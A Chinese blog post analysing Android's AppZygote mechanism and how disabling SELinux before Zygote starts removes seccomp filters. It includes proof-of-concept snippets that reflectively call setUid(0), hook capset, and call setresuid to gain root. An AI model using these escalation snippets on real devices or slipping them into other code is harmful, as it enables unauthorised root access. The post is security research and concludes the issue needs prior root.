Enjoy Android DebugMode Root

Brief

对于Android 10上关闭selinux会导致root提权的事情一直都是略有耳闻,偶然的机会终于在github上找到了demo工程. 配合demo可以很好的理解整个root提权的过程,体会到Android/Linux常见的安全机制的作用效果,以及它们是如何一个一个的实效的。

这也是我第一次认真的学习Zygote的运作流程以及Linux Capabilities和Seccomp的运作机制,通过本文也记录下。

Root Cause

在关闭SELinux的环境下启动Zygote,Zygote会关闭所孵化子进程的Seccomp规则。而AppZygote需要重新设置Isolated Service 子进程的uid,因此会拥有CAP_SETUID/CAP_SETGID 的权限。利用该能力可以将当前进程或是子进程设置为root uid(0). 从而实现提权;

AppZygote 机制

AppZygote 是Android 10引入的机制,它允许应用自定义控制Isolated进程能够加载和访问的资源,使用AppZygote的应用将会被分配一个专门的AppZygote用于孵化其他的Isolated 进程。

使用该功能需要应用在Manifest文件中做一些简单的配置:

1
2
3
4
5
6
7
8
9
<application
android:name=".App"
android:zygotePreloadName="xxx.AppZygote">
<service
android:name=".MagicaService"
android:isolatedProcess="true"
android:useAppZygote="true" />
...
</application>

所有设置了android:useAppZygote="true" 的Isolated进程全部都会通过应用的AppZygote来加载。在<application>标签下配置android:zygotePreloadName 来指定用于管理Isolated进程能够加载和访问的资源;

1
2
3
4
5
public final class AppZygote implements ZygotePreload {
public void doPreload(ApplicationInfo appInfo) {
System.loadLibrary("magica");
}
}

与Zygote的加载流程相似,doPreload方法也会在应用加载之前被调用;

1.png

AppZygote Server 启动

首先来分析下负责孵化Isolated Service进程的AppZygote Service是如何被启动的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// android.os.AppZygote
private void connectToZygoteIfNeededLocked() {
String abi = this.mAppInfo.primaryCpuAbi != null ? this.mAppInfo.primaryCpuAbi : Build.SUPPORTED_ABIS[0];
try {
int i = this.mZygoteUid;
// create child Zygote Process here;
ChildZygoteProcess startChildZygote = Process.ZYGOTE_PROCESS.startChildZygote("com.android.internal.os.AppZygoteInit", this.mAppInfo.processName + "_zygote", i, i, null, 0, "app_zygote", abi, abi, VMRuntime.getInstructionSet(abi), this.mZygoteUidGidMin, this.mZygoteUidGidMax);
this.mZygote = startChildZygote;
ZygoteProcess.waitForConnectionToZygote(startChildZygote.getPrimarySocketAddress());
Log.m446i(LOG_TAG, "Starting application preload.");
this.mZygote.preloadApp(this.mAppInfo, abi);
Log.m446i(LOG_TAG, "Application preload done.");
} catch (Exception e) {
Log.m447e(LOG_TAG, "Error connecting to app zygote", e);
stopZygoteLocked();
}
}


// android.os.ChildZygoteProcess
public class ChildZygoteProcess extends ZygoteProcess {
private final int mPid;

/* JADX INFO: Access modifiers changed from: package-private */
public ChildZygoteProcess(LocalSocketAddress socketAddress, int pid) {
super(socketAddress, null);
this.mPid = pid;
}

public int getPid() {
return this.mPid;
}
}

AppZygote Service 本质上是一个类似于Zygote进程,包含进程的pid以及一个LocalSocketAddress。通过向这个本地socket发送信息来创建所属的Isolated Service. 而AppZygote Service进程的启动需要向Zygote进程的发送请求来创建;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// android.p008os.ZygoteProcess
public ChildZygoteProcess startChildZygote(String processClass, String niceName, int uid, int gid, int[] gids, int runtimeFlags, String seInfo, String abi, String acceptedAbiList, String instructionSet, int uidRangeStart, int uidRangeEnd) {
LocalSocketAddress serverAddress = new LocalSocketAddress(processClass + SliceClientPermissions.SliceAuthority.DELIMITER + UUID.randomUUID().toString());
String[] extraArgs = {Zygote.CHILD_ZYGOTE_SOCKET_NAME_ARG + serverAddress.getName(), Zygote.CHILD_ZYGOTE_ABI_LIST_ARG + acceptedAbiList, Zygote.CHILD_ZYGOTE_UID_RANGE_START + uidRangeStart, Zygote.CHILD_ZYGOTE_UID_RANGE_END + uidRangeEnd};
try {
// call fork zygote child process here;
Process.ProcessStartResult result = startViaZygote(processClass, niceName, uid, gid, gids, runtimeFlags, 0, 0, seInfo, abi, instructionSet, null, null, true, null, 4, false, null, null, null, true, false, extraArgs);
return new ChildZygoteProcess(serverAddress, result.pid);
} catch (ZygoteStartFailedEx ex) {
throw new RuntimeException("Starting child-zygote through Zygote failed", ex);
}
}

private Process.ProcessStartResult startViaZygote(String processClass, String niceName, int uid, int gid, int[] gids, int runtimeFlags, int mountExternal, int targetSdkVersion, String seInfo, String abi, String instructionSet, String appDataDir, String invokeWith, boolean startChildZygote, String packageName, int zygotePolicyFlags, boolean isTopApp, long[] disabledCompatChanges, Map<String, Pair<String, Long>> pkgDataInfoMap, Map<String, Pair<String, Long>> allowlistedDataInfoList, boolean bindMountAppsData, boolean bindMountAppStorageDirs, String[] extraArgs) throws ZygoteStartFailedEx {
int sz;
ArrayList<String> argsForZygote = new ArrayList<>();
argsForZygote.add("--runtime-args");
argsForZygote.add("--setuid=" + uid);
argsForZygote.add("--setgid=" + gid);
argsForZygote.add("--runtime-flags=" + runtimeFlags);
...
synchronized (this.mLock) {
try {
try {
// Collation parameters and call next step;
return zygoteSendArgsAndGetResult(openZygoteSocketIfNeeded(abi), zygotePolicyFlags, argsForZygote);
} catch (Throwable th) {
th = th;
throw th;
}
} catch (Throwable th2) {
th = th2;
throw th;
}
}
}

private Process.ProcessStartResult zygoteSendArgsAndGetResult(ZygoteState zygoteState, int zygotePolicyFlags, ArrayList<String> args) throws ZygoteStartFailedEx {
...
// Organize parameters into a string and call next step;
return attemptZygoteSendArgsAndGetResult(zygoteState, msgStr);
}


private Process.ProcessStartResult attemptZygoteSendArgsAndGetResult(ZygoteState zygoteState, String msgStr) throws ZygoteStartFailedEx {
// send command to zygote local socket;;
    try {
BufferedWriter zygoteWriter = zygoteState.mZygoteOutputWriter;
DataInputStream zygoteInputStream = zygoteState.mZygoteInputStream;
zygoteWriter.write(msgStr);
zygoteWriter.flush();
Process.ProcessStartResult result = new Process.ProcessStartResult();
result.pid = zygoteInputStream.readInt();
result.usingWrapper = zygoteInputStream.readBoolean();
if (result.pid < 0) {
throw new ZygoteStartFailedEx("fork() failed");
}
return result;
} catch (IOException ex) {
zygoteState.close();
Log.m448e(LOG_TAG, "IO Exception while communicating with Zygote - " + ex.toString());
throw new ZygoteStartFailedEx(ex);
}
}

经过一系列的参数合并操作后,通过LocalSocket 发送给Zygote进程,让其去fork AppZygote 子进程。

略过Zygote进程接收socket传输内容的部分,这部分代码在大多介绍zygote的文章中都有详细的介绍且和本文关系并不大。直接看下对AppZygote启动命令的解析部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// com.android.internal.p027os.ZygoteConnection
/**
* Reads a command from the command socket. If a child is successfully forked, a
* {@code Runnable} that calls the childs main method (or equivalent) is returned in the child
* process. {@code null} is always returned in the parent process (the zygote).
* If multipleOK is set, we may keep processing additional fork commands before returning.
*
* If the client closes the socket, an {@code EOF} condition is set, which callers can test
* for by calling {@code ZygoteConnection.isClosedByPeer}.
*/
Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
...
if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
|| !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
// Continue using old code for now. TODO: Handle these cases in the other path.
pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
parsedArgs.mBindMountAppStorageDirs);


}


// com.android.internal.p027os.Zygote
public static int forkAndSpecialize(int uid, int gid, int[] gids, int runtimeFlags, int[][] rlimits, int mountExternal, String seInfo, String niceName, int[] fdsToClose, int[] fdsToIgnore, boolean startChildZygote, String instructionSet, String appDataDir, boolean isTopApp, String[] pkgDataInfoList, String[] allowlistedDataInfoList, boolean bindMountAppDataDirs, boolean bindMountAppStorageDirs) {
ZygoteHooks.preFork();
// call native method to fork child process;
int pid = nativeForkAndSpecialize(uid, gid, gids, runtimeFlags, rlimits, mountExternal, seInfo, niceName, fdsToClose, fdsToIgnore, startChildZygote, instructionSet, appDataDir, isTopApp, pkgDataInfoList, allowlistedDataInfoList, bindMountAppDataDirs, bindMountAppStorageDirs);
if (pid == 0) {
Trace.traceBegin(64L, "PostFork");
if (gids != null && gids.length > 0) {
NetworkUtilsInternal.setAllowNetworkingForProcess(containsInetGid(gids));
}
}
Thread.currentThread().setPriority(5);
ZygoteHooks.postForkCommon();
return pid;
}

通过调用Zygote.nativeForkAndSpecialize的native方法来实现进程的创建,实际上App的启动也同样是通过该native方法来创建的,但是启动参数包含了一个startChildZygote 用于标记创建的进程是否为AppZygote进程。带有此标记的进程会有一些特殊的配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static jlong CalculateCapabilities(JNIEnv* env, jint uid, jint gid, jintArray gids,
bool is_child_zygote) {
jlong capabilities = 0;
...
/*
* Grant child Zygote processes the following capabilities:
* - CAP_SETUID (change UID of child processes)
* - CAP_SETGID (change GID of child processes)
* - CAP_SETPCAP (change capabilities of child processes)
*/

if (is_child_zygote) {
capabilities |= (1LL << CAP_SETUID);
capabilities |= (1LL << CAP_SETGID);
capabilities |= (1LL << CAP_SETPCAP);
}

/*
* Containers run without some capabilities, so drop any caps that are not
* available.
*/

return capabilities & GetEffectiveCapabilityMask(env);
}

上面这段代码展示了Zygote进程在孵化AppZygote进程会赋予其CAP_SETUID, CAP_SETGID, CAP_SETPCAP,这是为了AppZygote能够修改Isolated Service进程uid。但是这并不意味着AppZygote可以任意修改进程的uid,Zygote为其设置了seccomp filter 限制其只能将uid修改为指定范围内

1
2
3
4
5
6
7
8
9
10
11
12
static void com_android_internal_os_Zygote_nativeInstallSeccompUidGidFilter(
JNIEnv* env, jclass, jint uidGidMin, jint uidGidMax) {
if (!gIsSecurityEnforced) {
ALOGI("seccomp disabled by setenforce 0");
return;
}

bool installed = install_setuidgid_seccomp_filter(uidGidMin, uidGidMax);
if (!installed) {
RuntimeAbort(env, __LINE__, "Could not install setuid/setgid seccomp filter.");
}
}

至此AppZygoteProcess进程创建完毕,后续标记了android:useAppZygote的Isolated Service就全部会通过这个AppZygote来孵化。

Isolated Service 的启动

带有标记android:useAppZygote的Isolated Service会在其ServiceInfo中带有一个flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// android/content/pm/ServiceInfo.java
/**
* Bit in {@link #flags}: If set, the service (which must be isolated)
* will be spawned from an Application Zygote, instead of the regular Zygote.
* The Application Zygote will pre-initialize the application's class loader,
* and call a static callback into the application to allow it to perform
* application-specific preloads (such as loading a shared library). Therefore,
* spawning from the Application Zygote will typically reduce the service
* launch time and reduce its memory usage. The downside of using this flag
* is that you will have an additional process (the app zygote itself) that
* is taking up memory. Whether actual memory usage is improved therefore
* strongly depends on the number of isolated services that an application
* starts, and how much memory those services save by preloading. Therefore,
* it is recommended to measure memory usage under typical workloads to
* determine whether it makes sense to use this flag.
*/
public static final int FLAG_USE_APP_ZYGOTE = 0x0008;

相应的这些Service启动的时候就会通过AppZygote来创建子进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// com.android.server.p028am.ProcessList
private Process.ProcessStartResult startProcess(...) {
...
storageManagerInternal = storageManagerInternal2;
userId = userId2;
j = 64;
if (hostingRecord.usesAppZygote()) {
AppZygote appZygote = createAppZygoteForProcessIfNeeded(app);
startResult = appZygote.getProcess().start(entryPoint, app.processName, uid, uid, gids, runtimeFlags, mountExternal, app.info.targetSdkVersion, seInfo, requiredAbi, instructionSet, app.info.dataDir, null, app.info.packageName, 0, isTopApp, app.getDisabledCompatChanges(), pkgDataInfoMap, allowlistedAppDataInfoMap, false, false, new String[]{ActivityThread.PROC_START_SEQ_IDENT + app.getStartSeq()});
} else {
regularZygote = true;
startResult = Process.start(entryPoint, app.processName, uid, uid, gids, runtimeFlags, mountExternal, app.info.targetSdkVersion, seInfo, requiredAbi, instructionSet, app.info.dataDir, invokeWith, app.info.packageName, zygotePolicyFlags, isTopApp, app.getDisabledCompatChanges(), pkgDataInfoMap, allowlistedAppDataInfoMap, bindMountAppsData, bindMountAppStorageDirs, new String[]{ActivityThread.PROC_START_SEQ_IDENT + app.getStartSeq()});
}
...
}

AppZygote与Zygote不同的是,其会反射APP中的方法来配置子进程可以访问的目录或是lib

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// com.android.internal.os.AppZygoteInit$AppZygoteConnection
@Override // com.android.internal.p027os.ZygoteConnection
protected void handlePreloadApp(ApplicationInfo appInfo) {
Log.m446i(AppZygoteInit.TAG, "Beginning application preload for " + appInfo.packageName);
LoadedApk loadedApk = new LoadedApk(null, appInfo, null, null, false, true, false);
ClassLoader loader = loadedApk.getClassLoader();
Zygote.allowAppFilesAcrossFork(appInfo);
int i = 1;
if (appInfo.zygotePreloadName != null) {
try {
ComponentName preloadName = ComponentName.createRelative(appInfo.packageName, appInfo.zygotePreloadName);
Class<?> cl = Class.forName(preloadName.getClassName(), true, loader);
if (!ZygotePreload.class.isAssignableFrom(cl)) {
Log.m448e(AppZygoteInit.TAG, preloadName.getClassName() + " does not implement " + ZygotePreload.class.getName());
} else {
Constructor<?> ctor = cl.getConstructor(new Class[0]);
ZygotePreload preloadObject = (ZygotePreload) ctor.newInstance(new Object[0]);
Zygote.markOpenedFilesBeforePreload();
preloadObject.doPreload(appInfo);
Zygote.allowFilesOpenedByPreload();
}
} catch (ReflectiveOperationException e) {
Log.m447e(AppZygoteInit.TAG, "AppZygote application preload failed for " + appInfo.zygotePreloadName, e);
}
} else {
Log.m446i(AppZygoteInit.TAG, "No zygotePreloadName attribute specified.");
}
try {
DataOutputStream socketOut = getSocketOutputStream();
if (loader == null) {
i = 0;
}
socketOut.writeInt(i);
Log.m446i(AppZygoteInit.TAG, "Application preload done");
} catch (IOException e2) {
throw new IllegalStateException("Error writing to command socket", e2);
}
}

关闭Selinux 获取root权限

AppZygote Service 提权

从上文的代码中可以了解到AppZygote是可以修改进程的uid/gid的,并通过一个seccomp filter来避免AppZygote任意修改uid来做root提权或是占用其他进程的uid。但是在此回顾seccomp的代码发现,当setenforce 0 的时候,seccomp filter不会被设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void com_android_internal_os_Zygote_nativeInstallSeccompUidGidFilter(
JNIEnv* env, jclass, jint uidGidMin, jint uidGidMax) {
if (!gIsSecurityEnforced) {
ALOGI("seccomp disabled by setenforce 0");
return;
}

bool installed = install_setuidgid_seccomp_filter(uidGidMin, uidGidMax);
if (!installed) {
RuntimeAbort(env, __LINE__, "Could not install setuid/setgid seccomp filter.");
}
}


static void SetUpSeccompFilter(uid_t uid, bool is_child_zygote) {
if (!gIsSecurityEnforced) {
ALOGI("seccomp disabled by setenforce 0");
return;
}

// Apply system or app filter based on uid.
if (uid >= AID_APP_START) {
if (is_child_zygote) {
set_app_zygote_seccomp_filter();
} else {
set_app_seccomp_filter();
}
} else {
set_system_seccomp_filter();
}
}

而且并不仅仅是用于限制uid修改范围的seccomp filter不会被加载,是所有Zygote子进程的seccomp filter都不会被记载。

在没有seccomp filter的限制,AppZygote即可犹如脱缰的野马,任意设置uid/gid。比如将自己的uid设置为root

1
2
3
4
5
6
7
8
9
10
11
12
public final class AppZygote implements ZygotePreload {
public void doPreload(ApplicationInfo appInfo) {
System.loadLibrary("magica");
try {
Class processcls = Class.forName("android.os.Process");
Method m = processcls.getDeclaredMethod("setUid", int.class);
m.invoke(null, 0);
} catch(Exception e) {
e.printStackTrace();
}
}
}

3.png

Isolated Service 提权

原本是受限的进程,但是在selinux & seccomp机制全部被关闭的情况下,也是有机会将自己提权到root的。

想要提权就需要先解决一个问题,AppZygote进程是具有CAP_SETUID等能力的,但是其fork的Isolated Service并不会被赋予这些能力,那么如何继承到这些Capabilities呢?

方法很简单,那就是inline hook。在梳理Isolated Service的启动流程的时候提到AppZygote在fork子进程之前会先调用App的preload中定义的方法来加载一些lib库。通过加载的lib代码,可以实现对libandroid_runtime.so的hook,将Capabilities继承到Isolated Service 进程中

1
2
3
4
5
6
7
8
9
10
11
jint JNI_OnLoad(JavaVM *jvm, void *v __unused) {
JNIEnv *env;
...

signal(SIGSYS, signal_handler);

xhook_register(".*\\libandroid_runtime.so$", "capset", skip_capset, NULL);
if (xhook_refresh(0)) PLOGE("xhook");

return JNI_VERSION_1_6;
}

后续通过注册和调用一个native方法就可以实现修改uid/gid来提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void root(JNIEnv *env  __unused, jclass clazz __unused) {
change_cap(CAP_SET);
print_cap();
if (setresuid(AID_ROOT, AID_ROOT, AID_ROOT)) {
PLOGE("setresuid");
} else if (geteuid() == AID_ROOT) {
LOGI("We Are Root!!!");
if (setresgid(AID_ROOT, AID_ROOT, AID_ROOT)) {
PLOGE("setresgid");
}
gid_t groups[] = {AID_SYSTEM, AID_ADB, AID_LOG, AID_INPUT, AID_INET,
AID_NET_BT, AID_NET_BT_ADMIN, AID_SDCARD_R, AID_SDCARD_RW,
AID_NET_BW_STATS, AID_READPROC, AID_UHID, AID_EXT_DATA_RW,
AID_EXT_OBB_RW};
if (setgroups(arraysize(groups), groups)) {
PLOGE("setgroups");
}
}
}

2.jpeg

一些其他的限制条件

上面提到的两个修改uid/gid的例子都是由于在通过setenforce 0关闭了selinux之后,Zygote又关闭了seccomp filter而导致的。这就需要在Zygote进程启动的时候,selinux就已经被关闭了。由于gIsSecurityEnforced变量在Zygote启动的时候就被设定了而不会改变

1
2
3
4
5
static void com_android_internal_os_Zygote_nativeSpecializeAppProcess(..)

// security_getenforce is not allowed on app process. Initialize and cache
// the value before zygote forks.
gIsSecurityEnforced = security_getenforce();

因此在测试提权之前,需要想办法重启一下Zygote进程。可以通过toolbox中的start/stop命令来完成framework的重启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// system/core/toolbox/start.cpp
static void ControlDefaultServices(bool start) {
std::vector<std::string> services = {
"netd",
"surfaceflinger",
"audioserver",
"zygote",
};

// Only start zygote_secondary if not single arch.
std::string zygote_configuration = GetProperty("ro.zygote", "");
if (zygote_configuration != "zygote32" && zygote_configuration != "zygote64") {
services.emplace_back("zygote_secondary");
}

if (start) {
for (const auto& service : services) {
ControlService(true, service);
}
} else {
for (auto it = services.crbegin(); it != services.crend(); ++it) {
ControlService(false, *it);
}
}
}

该命令需要root权限才可以调用但可以方便快捷的重启Zygote.

检查下Zygote fork出来的子进程也可发现没有设置任何的seccomp filter.

4.png

总结一下

当下,Android早就强制必须开启selinux,如果selinux被关闭则Android 系统可能认为处于调试/测试环境下,一些类似的安全机制如seccomp也会被一起关闭。整个设备将处于更低的安全环境中,会不自觉的扩展出更多的攻击面。

对于selinux正常运行的环境来讲,本文描述的内容很难被认为是一个安全漏洞。需要在Zygote启动前,通过setenforce 0来关闭selinux. 显然在为获取root权限之前这几乎是不可能办到的。可能是基于此原因这部分功能虽然已经广受讨论但是在最新的Android代码中仍然没有修改。

一句话,safe.

本文的最后,特别感谢@炜唯师父在我分析过程中提供的帮助;如需复现本文中的方案使用Reference中的Magica项目在Android 10之后的系统测试即可。

Reference